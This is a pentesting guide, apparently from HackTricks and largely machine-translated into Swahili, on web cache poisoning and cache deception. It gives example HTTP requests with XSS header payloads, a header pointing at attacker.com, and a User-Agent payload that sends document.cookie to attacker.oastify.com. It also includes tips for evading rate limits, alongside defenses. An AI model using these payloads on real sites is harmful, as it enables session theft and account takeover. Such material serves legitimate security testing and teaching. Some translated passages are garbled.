hacktricks/src/pentesting-web/cache-deception/README.md

# Cache Poisoning and Cache Deception

{{#include ../../banners/hacktricks-training.md}}

## Tofauti

> **Tofauti kati ya web cache poisoning na web cache deception ni ipi?**
>
> - Katika **web cache poisoning**, mshambuliaji anasababisha programu kuhifadhi maudhui mabaya katika cache, na maudhui haya yanatolewa kutoka kwenye cache kwa watumiaji wengine wa programu.
> - Katika **web cache deception**, mshambuliaji anasababisha programu kuhifadhi maudhui nyeti yanayomilikiwa na mtumiaji mwingine katika cache, na mshambuliaji kisha anapata maudhui haya kutoka kwenye cache.

## Cache Poisoning

Cache poisoning inalenga kubadilisha cache ya upande wa mteja ili kulazimisha wateja kupakua rasilimali ambazo hazitarajiwa, sehemu, au chini ya udhibiti wa mshambuliaji. Kiwango cha athari kinategemea umaarufu wa ukurasa ulioathiriwa, kwani jibu lililochafuliwa linatolewa pekee kwa watumiaji wanaotembelea ukurasa wakati wa kipindi cha uchafuzi wa cache.

Utekelezaji wa shambulio la cache poisoning unajumuisha hatua kadhaa:

1. **Utambuzi wa Ingizo Lisilo na Funguo**: Hizi ni vigezo ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalotolewa na seva. Kutambua vigezo hivi ni muhimu kwani vinaweza kutumika kubadilisha cache.
2. **Kutatua Vigezo Visivyo na Funguo**: Baada ya kutambua vigezo visivyo na funguo, hatua inayofuata ni kubaini jinsi ya kutumia vibaya vigezo hivi ili kubadilisha jibu la seva kwa njia inayomfaidi mshambuliaji.
3. **Kuhakikisha Jibu Lililochafuliwa Linahifadhiwa**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa linahifadhiwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati cache imechafuliwa atapata jibu lililochafuliwa.

### Ugunduzi: Angalia vichwa vya HTTP

Kawaida, wakati jibu lime **hifadhiwa kwenye cache** kutakuwa na **kichwa kinachoonyesha hivyo**, unaweza kuangalia vichwa gani unapaswa kuzingatia katika chapisho hili: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).

### Ugunduzi: Kihesabu makosa ya caching

Ikiwa unafikiria kwamba jibu linahifadhiwa kwenye cache, unaweza kujaribu **kutuma maombi yenye kichwa kibaya**, ambacho kinapaswa kujibiwa kwa **kodi ya hali 400**. Kisha jaribu kufikia ombi kawaida na ikiwa **jibu ni kodi ya hali 400**, unajua ni hatari (na unaweza hata kufanya DoS).

Unaweza kupata chaguzi zaidi katika:

{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

Hata hivyo, kumbuka kwamba **wakati mwingine aina hizi za kodi za hali hazihifadhiwi** hivyo jaribio hili linaweza kuwa si la kuaminika.

### Ugunduzi: Tambua na tathmini vigezo visivyo na funguo

Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) ili **kufanya brute-force vigezo na vichwa** ambavyo vinaweza kuwa **vinabadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kuwa unatumia kichwa `X-Forwarded-For` kuonyesha mteja kupakua script kutoka pale:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Elicit a harmful response from the back-end server

With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

### Get the response cached

Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`

Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.

One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.

## Exploiting Examples

### Easiest example

A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
```html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note that this will poison a request to `/en?region=uk` not to `/en`_

### Cache poisoning to DoS


{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}

### Cache poisoning through CDNs

In **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** it's explained the following simple scenario:

- CDN itachache chochote chini ya `/share/`
- CDN HAIta decode wala normalize `%2F..%2F`, hivyo, inaweza kutumika kama **path traversal kuaccess maeneo mengine nyeti ambayo yatakahifadhiwa** kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
- Web server ITAdecode na normalize `%2F..%2F`, na itajibu na `/api/auth/session`, ambayo **ina token ya uthibitishaji**.

### Using web cache poisoning to exploit cookie-handling vulnerabilities

Cookies pia zinaweza kuakisiwa kwenye jibu la ukurasa. Ikiwa unaweza kuitumia kuleta XSS kwa mfano, unaweza kuwa na uwezo wa kutumia XSS katika wateja kadhaa wanaopakia jibu la cache lililo na uharibifu.
```html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Kumbuka kwamba ikiwa cookie iliyo hatarini inatumika sana na watumiaji, maombi ya kawaida yatakuwa yakisafisha cache.

### Kutengeneza tofauti na vikwazo, urekebishaji na nukta <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Angalia:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Kuambukiza cache kwa kutumia njia ya kupita ili kuiba funguo za API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

[**Andiko hili linaelezea**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) jinsi ilivyowezekana kuiba funguo za OpenAI API kwa URL kama `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` kwa sababu chochote kinacholingana na `/share/*` kitahifadhiwa bila Cloudflare kurekebisha URL, ambayo ilifanyika wakati ombi lilipofika kwenye seva ya wavuti.

Hii pia inaelezwa vizuri zaidi katika:

{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}

### Kutumia vichwa vingi ili kutumia udhaifu wa kuambukiza cache ya wavuti <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

Wakati mwingine utahitaji **kutumia ingizo kadhaa zisizo na funguo** ili uweze kutumia cache. Kwa mfano, unaweza kupata **Open redirect** ikiwa utaweka `X-Forwarded-Host` kwa kikoa kinachodhibitiwa na wewe na `X-Forwarded-Scheme` kuwa `http`. **Ikiwa** **seva** in **peleka** maombi yote ya **HTTP** **kwenda HTTPS** na kutumia kichwa `X-Forwarded-Scheme` kama jina la kikoa kwa ajili ya uelekeo. Unaweza kudhibiti mahali ukurasa unapoelekezwa na uelekeo.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Kutumia kwa kutumia kichwa kidogo cha `Vary`

Ikiwa umebaini kwamba kichwa cha **`X-Host`** kinatumika kama **jina la kikoa kupakia rasilimali ya JS** lakini kichwa cha **`Vary`** katika jibu kinaonyesha **`User-Agent`**. Basi, unahitaji kutafuta njia ya kutoa User-Agent ya mwathirika na kuharibu cache kwa kutumia user agent hiyo:
```html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get

Tuma ombi la GET na ombi katika URL na katika mwili. Ikiwa seva ya wavuti inatumia ile kutoka kwa mwili lakini seva ya cache inahifadhi ile kutoka kwa URL, mtu yeyote anayefikia URL hiyo atatumia parameter kutoka kwa mwili. Kama ilivyo katika udhaifu ambao James Kettle alipata kwenye tovuti ya Github:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim
```
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

### Parameter Cloacking

Kwa mfano, inawezekana kutenganisha **parameters** katika seva za ruby kwa kutumia herufi **`;`** badala ya **`&`**. Hii inaweza kutumika kuweka thamani za parameters zisizo na ufunguo ndani ya zile zenye ufunguo na kuzitumia vibaya.

Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Jifunze hapa jinsi ya kutekeleza [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning).

### Automated testing for Web Cache Poisoning

The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.

Example usage: `wcvs -u example.com`

### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Mfano huu wa kweli unachanganya primitive ya reflection inayotegemea kichwa na tabia ya CDN/WAF ili kwa uhakika kuharibu HTML iliyohifadhiwa inayotolewa kwa watumiaji wengine:

- HTML kuu ilireflect ombi la kichwa kisichoaminika (mfano, `User-Agent`) katika muktadha wa kutekeleza.
- CDN iliondoa vichwa vya cache lakini cache ya ndani/origini ilikuwepo. CDN pia ilihifadhi ombi moja kwa moja ya ombi yanayomalizika kwa nyongeza za statiki (mfano, `.js`), wakati WAF ilitumia ukaguzi dhaifu wa maudhui kwa GETs za mali za statiki.
- Tabia za mtiririko wa ombi ziliruhusu ombi la njia ya `.js` kuathiri ufunguo/variant wa cache uliohitajika kwa HTML kuu inayofuata, ikiruhusu XSS ya mtumiaji-mwingine kupitia reflection ya kichwa.

Mapishi ya vitendo (iliyoshuhudiwa katika CDN/WAF maarufu):

1) Kutoka kwa IP safi (epuka kupunguzwa kwa sifa za awali), weka `User-Agent` mbaya kupitia kivinjari au Burp Proxy Match & Replace.
2) Katika Burp Repeater, andaa kundi la maombi mawili na tumia "Send group in parallel" (mode ya pakiti moja inafanya kazi bora):
- Ombi la kwanza: GET rasilimali ya njia ya `.js` kwenye asili hiyo hiyo huku ukituma `User-Agent` wako mbaya.
- Mara moja baada ya: GET ukurasa kuu (`/`).
3) Mbio za urambazaji za CDN/WAF pamoja na `.js` iliyohifadhiwa moja kwa moja mara nyingi huzaa variant ya HTML iliyoharibiwa ambayo kisha inatolewa kwa wageni wengine wanaoshiriki hali sawa za ufunguo wa cache (mfano, vipimo sawa vya `Vary` kama `User-Agent`).

Mfano wa payload ya kichwa (kuondoa vidakuzi visivyo na HttpOnly):
```
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
```
Operational tips:

- CDNs nyingi huficha vichwa vya cache; uchafuzi unaweza kuonekana tu kwenye mizunguko ya kusasisha ya masaa mengi. Tumia IP nyingi za mtazamo na punguza kasi ili kuepuka mipaka ya kiwango au vichocheo vya sifa.
- Kutumia IP kutoka wingu la CDN yenyewe wakati mwingine huongeza uthabiti wa routing.
- Ikiwa CSP kali ipo, hii bado inafanya kazi ikiwa kutafakari kunatekelezwa katika muktadha wa HTML kuu na CSP inaruhusu utekelezaji wa ndani au inakwepa kwa muktadha.

Impact:

- Ikiwa kuki za kikao si `HttpOnly`, ATO isiyo na bonyeza moja inawezekana kwa kuhamasisha kwa wingi `document.cookie` kutoka kwa watumiaji wote wanaopatiwa HTML iliyochafuliwa.

Defenses:

- Acha kutafakari vichwa vya ombi ndani ya HTML; encode muktadha kwa ukali ikiwa haiwezekani. Patanisha sera za cache za CDN na asili na kuepuka kutofautiana kwenye vichwa visivyoaminika.
- Hakikisha WAF inatumika ukaguzi wa maudhui kwa usawa kwa maombi ya `.js` na njia za statiki.
- Weka `HttpOnly` (na `Secure`, `SameSite`) kwenye kuki za kikao.

## Vulnerable Examples

### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

ATS ilituma kipande ndani ya URL bila kukiondoa na kuunda ufunguo wa cache kwa kutumia tu mwenyeji, njia na swali (ikikosa kipande). Hivyo ombi `/#/../?r=javascript:alert(1)` lilitumwa kwa backend kama `/#/../?r=javascript:alert(1)` na ufunguo wa cache haukuwa na mzigo ndani yake, tu mwenyeji, njia na swali.

### GitHub CP-DoS

Kutuma thamani mbaya katika kichwa cha aina ya maudhui kulisababisha jibu la 405 lililohifadhiwa. Ufunguzi wa cache ulijumuisha kuki hivyo ilikuwa inawezekana kushambulia watumiaji wasio na uthibitisho.

### GitLab + GCP CP-DoS

GitLab inatumia ndoo za GCP kuhifadhi maudhui ya statiki. **Ndoo za GCP** zinasaidia **kichwa `x-http-method-override`**. Hivyo ilikuwa inawezekana kutuma kichwa `x-http-method-override: HEAD` na kuchafua cache ili irejeshe mwili wa jibu tupu. Pia inaweza kusaidia njia `PURGE`.

### Rack Middleware (Ruby on Rails)

Katika programu za Ruby on Rails, middleware ya Rack mara nyingi hutumiwa. Kusudi la msimbo wa Rack ni kuchukua thamani ya kichwa cha **`x-forwarded-scheme`** na kuipatia kama mpango wa ombi. Wakati kichwa `x-forwarded-scheme: http` kinatumwa, uelekeo wa 301 unafanyika kwa eneo hilo hilo, huenda kusababisha Kukataliwa kwa Huduma (DoS) kwa rasilimali hiyo. Zaidi ya hayo, programu inaweza kutambua kichwa cha `X-forwarded-host` na kuwarudisha watumiaji kwa mwenyeji uliotajwa. Tabia hii inaweza kusababisha kupakia faili za JavaScript kutoka kwa seva ya mshambuliaji, ikileta hatari ya usalama.

### 403 na Ndoo za Hifadhi

Cloudflare hapo awali ilihifadhi majibu ya 403. Kujaribu kufikia S3 au Azure Storage Blobs kwa vichwa vya Uidhinishaji visivyo sahihi kutasababisha jibu la 403 ambalo lilihifadhiwa. Ingawa Cloudflare imeacha kuhifadhi majibu ya 403, tabia hii inaweza bado kuwepo katika huduma zingine za proxy.

### Injecting Keyed Parameters

Caches mara nyingi hujumuisha vigezo maalum vya GET katika ufunguo wa cache. Kwa mfano, Varnish ya Fastly ilihifadhi vigezo vya `size` katika maombi. Hata hivyo, ikiwa toleo lililosajiliwa la parameter (mfano, `siz%65`) pia lilitumwa na thamani isiyo sahihi, ufunguo wa cache ungejengwa kwa kutumia parameter sahihi ya `size`. Walakini, backend ingepitia thamani katika parameter iliyoandikwa. Kuandika upya parameter ya pili ya `size` kulisababisha kuondolewa kwake na cache lakini matumizi yake na backend. Kuweka thamani ya 0 kwa parameter hii kulisababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.

### User Agent Rules

Wajenzi wengine huzuia maombi na wakala wa mtumiaji wanaofanana na wale wa zana zenye trafiki kubwa kama FFUF au Nuclei ili kudhibiti mzigo wa seva. Kwa bahati mbaya, mbinu hii inaweza kuleta udhaifu kama vile uchafuzi wa cache na DoS.

### Illegal Header Fields

[RF7230](https://datatracker.ietf.mrg/doc/html/rfc7230) inabainisha wahusika wanaokubalika katika majina ya vichwa. Vichwa vinavyokuwa na wahusika nje ya anuwai ya **tchar** vinapaswa kwa kawaida kusababisha jibu la 400 Bad Request. Katika mazoezi, seva hazifuati viwango hivi kila wakati. Mfano maarufu ni Akamai, ambayo inasambaza vichwa vyenye wahusika batili na kuhifadhi kosa lolote la 400, mradi tu kichwa cha `cache-control` hakipo. Mfano wa kutumika ulitambuliwa ambapo kutuma kichwa chenye wahusika haramu, kama `\`, kutasababisha kosa la 400 Bad Request linaloweza kuhifadhiwa.

### Finding new headers

[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

## Cache Deception

Lengo la Cache Deception ni kuwafanya wateja **kupakia rasilimali ambazo zitahifadhiwa na cache zikiwa na taarifa zao nyeti**.

Kwanza kabisa kumbuka kwamba **nyongeza** kama vile `.css`, `.js`, `.png` nk kwa kawaida **zimepangwa** kuhifadhiwa katika **cache.** Hivyo, ikiwa unapata `www.example.com/profile.php/nonexistent.js` cache itahifadhi jibu kwa sababu inaona nyongeza ya `.js`. Lakini, ikiwa **programu** inarejelea na maudhui ya **nyeti** ya mtumiaji yaliyohifadhiwa katika _www.example.com/profile.php_, unaweza **kuiba** maudhui hayo kutoka kwa watumiaji wengine.

Mambo mengine ya kujaribu:

- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Tumia nyongeza zisizojulikana kama_ `.avif`

Mfano mwingine wazi sana unaweza kupatikana katika andiko hili: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
Katika mfano, inaelezwa kwamba ikiwa unapata ukurasa usio na kuwepo kama _http://www.example.com/home.php/non-existent.css_ maudhui ya _http://www.example.com/home.php_ (**pamoja na taarifa nyeti za mtumiaji**) yatarudishwa na seva ya cache itahifadhi matokeo.\
Kisha, **mshambuliaji** anaweza kufikia _http://www.example.com/home.php/non-existent.css_ kwenye kivinjari chao na kuona **taarifa za siri** za watumiaji ambao walifika hapo awali.

Kumbuka kwamba **cache proxy** inapaswa kuwa **imepangwa** kuhifadhi faili **kulingana** na **nyongeza** ya faili (_.css_) na si kulingana na aina ya maudhui. Katika mfano _http://www.example.com/home.php/non-existent.css_ itakuwa na aina ya maudhui ya `text/html` badala ya aina ya mime ya `text/css` (ambayo inatarajiwa kwa faili ya _.css_).

Jifunze hapa jinsi ya kutekeleza [Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

## Automatic Tools

- [**toxicache**](https://github.com/xhzeem/toxicache): Skana ya Golang kutafuta udhaifu wa uchafuzi wa cache ya wavuti katika orodha ya URLs na kujaribu mbinu mbalimbali za kuingiza.

## References

- [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
- [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)


{{#include ../../banners/hacktricks-training.md}}